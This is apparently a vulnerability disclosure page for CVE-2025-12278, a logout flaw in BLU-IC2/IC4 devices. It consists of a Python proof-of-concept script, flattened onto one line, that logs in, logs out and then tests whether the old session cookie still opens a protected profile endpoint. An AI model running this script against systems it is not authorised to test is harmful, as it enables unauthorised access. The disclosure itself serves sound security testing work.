CVE-2025-12278: BLU-IC2/IC4登出功能失效漏洞

# CVE-2025-12278 PoC - Session Management Issue # This PoC demonstrates the session persistence issue after logout import requests import sys def test_logout_issue(target_url, username, password): """ Test if logout functionality properly terminates session """ session = requests.Session() # Step 1: Login to the system login_url = f"{target_url}/login" login_data = { 'username': username, 'password': password } print(f"[*] Attempting login to {target_url}") response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") session_id_before = session.cookies.get('session_id') or session.cookies.get('PHPSESSID') print(f"[*] Session ID before logout: {session_id_before}") # Step 2: Perform logout logout_url = f"{target_url}/logout" print(f"[*] Performing logout") response = session.get(logout_url) # Step 3: Try to reuse the same session after logout print(f"[*] Attempting to reuse session after logout") test_url = f"{target_url}/api/user/profile" response = session.get(test_url) # If we can still access protected resources, logout is broken if response.status_code == 200: print("[!] VULNERABLE: Session still valid after logout!") print(f"[!] Attacker can reuse session ID: {session_id_before}") return True else: print("[+] Logout properly terminated session") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) test_logout_issue(sys.argv[1], sys.argv[2], sys.argv[3])